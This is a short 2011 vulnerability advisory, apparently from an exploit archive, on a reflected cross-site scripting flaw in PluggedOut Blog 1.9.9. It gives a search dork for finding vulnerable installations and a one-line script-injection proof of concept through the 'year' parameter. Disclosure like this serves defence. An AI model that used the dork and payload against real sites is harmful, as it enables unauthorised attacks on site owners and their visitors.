PluggedOut Blog 1.9.9 Cross Site Scripting Vulnerability

2011.03.21

Credit: kurd-team

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

f0und by: kurdish hackers team
group: kurd-team
c0ntact: pshela@yahoo.com
site: www.kurdteam.org
=================================
==============script===============
=================================
script: PluggedOut Blog 1.9.9
d0rk:"Powered by PluggedOut Blog 1.9.9i, &#169; Jonathan Beckett, 2006, All Rights Reserved"

download :http://down.zzbaike.com/d/download.php?n=1&server=1id=752::1207987997
=============================
Expl0it:

index.php?year=<script>alert(88888)</script>

=============================
zryan_kurd ,r00t_SyS

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

PluggedOut Blog 1.9.9 Cross Site Scripting Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.